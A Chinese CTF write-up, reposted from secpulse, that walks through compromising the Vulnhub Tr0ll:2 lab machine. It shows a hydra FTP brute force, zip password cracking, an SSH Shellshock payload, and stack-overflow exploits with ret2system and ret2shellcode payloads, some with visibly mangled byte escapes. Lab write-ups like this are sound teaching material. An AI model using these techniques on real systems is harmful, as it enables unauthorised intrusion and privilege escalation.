Vulnhub靶机渗透-Tr0ll:2
2020-05-11 19:05:11 Author: www.secpulse.com(查看原文) 阅读量:477 收藏

0x01 Scan Host

主机发现:

emm,web和tr0ll:1一样,先进行更详细的扫描:

0x02 Web Service

告诉我们这里啥都没有,扫一下目录:

有几张图片。

0x03 FTP Service

既然web没什么突破口,那么我们还是从ftp试试看,考虑生成个社工字典,根据WEB给出的Author以及Editor:

在字典的每一项后面加一个特殊字符,建议选n。然后用hydra爆一下:

Bingo~登陆看一下:

是个有密码的压缩包,简单地爆了一下没出。

想了一下,robots似乎也有node的字眼,再结合有点像隐写,并且:

有提示,cat每个图片,最终发现了东西:

提示深入y0ur_self来找到答案,FTP没有,WEB找到了answer:

全部都是base64,写个脚本跑一下,这里不能复制,wget即可:

循环读取每行并做base64解码,发现跑出来的应该是个字典:

这里提供两种爆破zip的方式,一种是john一种是fcrackzip。

先说john:

zip2john lmao.zip > hash.txt

john hash.txt
这种没成功,接下来是frackzip利用字典:

fcrackzip -u -D -p password.txt lmao.zip

成功找到密码。

本来以为是个ELF,结果不是:

root@NightsWatch:~/Desktop/tr0ll# file noob
noob: PEM RSA private key

0x04 SSH Service

猜测是不是SSH登陆密钥:

看到提示运行的是/usr/bin/xauth,并不是/bin/bash,这里有几种方法:

ssh -i noob [email protected] -t "/bin/sh"
ssh -i noob [email protected] -t "bash --noprofile"
ssh -i noob [email protected] -t "() { :; }; /bin/bash"

在这里,最后一种方法是有效的:

0x05 Privilege Escalation

noob@Tr0ll2:~$ uname -a
Linux Tr0ll2 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
[object Object]

先看SUID吧,看到下面有些奇怪的东西:

挨个的来看一下:

???reboot???,看来不能瞎运行啊…这里发现有gdb,可以分析一下再选择运行,大家要注意,实际情况中也是,不能乱运行程序。

Ret2Text With Environment

上图为r00t1,没有交互不像是存在溢出或者格式化字符串的情况。

现在看一下r00t2:

其中strcpy以及printf可能存在溢出和格式化字符串漏洞

r003:

与r00t1同,调用了system,但参数明显不是/bin/sh,有诈…

既然大概率r00t2存在漏洞,那我们着重看一下,因为自带的gdb并没有我常用的插件,所以这里借助msf来完成测试溢出的offset:

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 400

./pattern_offset.rb -q 6a413969

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e6b060 <system>

有system现在我们可以输入/bin/sh,但问题是地址在哪?可以调试得出这里介绍另一种简单的方法:

export MyAddress=//////////////////////bin/sh

用如下c代码找到地址:

#include<unistd.h>

void main()
{    
   printf("MyAddress address 0x%lxn", getenv("MyAddress"));
   
   return 0;
}noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./../../../tmp/get MyAddress address 0xbfffffb7

这样system和sh地址都有了,构造简单ROP:

system = 0x8048370
sh = 0xbffffef7 q
payload = 'A' * 268 + p32(system) + 'dead' + p32(sh)

但是目标肯定没有pwntools,我们手工:

./r00t $(python -c 'print "A" * 268 + "x60xb0xe6xb7" + "BBBB" + "xbfxffxffxe3"')

上面的payload中sh字符串的地址有一点点误差,多试几次即可:

./r00t $(python -c 'print "A" * 268 + "x60xb0xe6xb7" + "BBBB" + "xc7xffxffxbf"')

这就是利用环境变量中的字符串完成ROP,究其原因,是因为系统并没有开启ASLR保护,下面介绍的方法也是没有ASLR保护才能得以实现。若开了ASLR其实我们也可以用传统的ret2libc来完成攻击。

Ret2Shellcode

r00t1

没什么东西,看r00t2:

明显栈溢出。

这里介绍shellcode来getshell,我们输入shellcode后,需要控制RIP跳到shellcode的地址,那shellcode地址是什么呢?(这里同样可以把shellcode放到环境变量中)

我们先随机生成268的字符串,然后ret为AAAA之后的为BBBB来观察一下内存布局:

很明显,我们的BBBB出现在了ESP的位置上,那么把ret地址覆盖为当时的ESP就行了,而系统并没有开ASLR,只要查看一个ESP寄存器即可(在目标机器上):

同样的payload,查看esp寄存器地址发现确实是BBBB:

./r00t $(python -c 'print "A" * 268 + "xd0xfaxffxbf" + "xb4xbbx46x02xd4x35x05xf8xbfx4ax1dxb1x93xa8x24x3fx91x27x2fxb2x41x42x34x77x13xfdxb0x9bxb6x99x4fx0cx3dx66x3cxbaxb9x43xb5x8dxb7x14x96x97xb3x37x49xf9x4bx40xb8xd9xf7xa2xd9xddxc7xd9x74x24xf4x5dx31xc9xb1x0bx31x45x15x03x45x15x83xc5x04xe2x2cx9dxa9x81x57x30xc8x59x4axd6x9dx7dxfcx37xedxe9xfcx2fx3ex88x95xc1xc9xafx37xf6xc2x2fxb7x06xfcx4dxdex68x2dxe1x48x75x66x56x01x94x45xd8"')

GDB中拿到shell了但不是root权限(这是肯定的),但是外面会报错。没有找到原因,但我们的基本思路是正确的。

0x06 Summary

信息收集在本次渗透中仍有着极大的作用,再一个是终于碰到缓冲区溢出了。其中缓冲区溢出的原理及基本思想这里一言半语的也说不清,有PWN基础的应该都可以看得懂。需要注意的是,在本地调试我们只是我为了借助GDB的插件更清楚漏洞利用,而涉及到地址等内容的东西还是要上目标机来看。

还有一个是,虽然系统开启了ASLR,但是发现r00t这个程序会不定期删除重新生成,地址自然也会改变,发现问题时记得要多调试。

原创投稿作者:Railgun作者博客:www.pwn4fun.com

本文作者:HACK_Learn

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/130608.html


文章来源: https://www.secpulse.com/archives/130608.html
如有侵权请联系:admin#unsafe.sh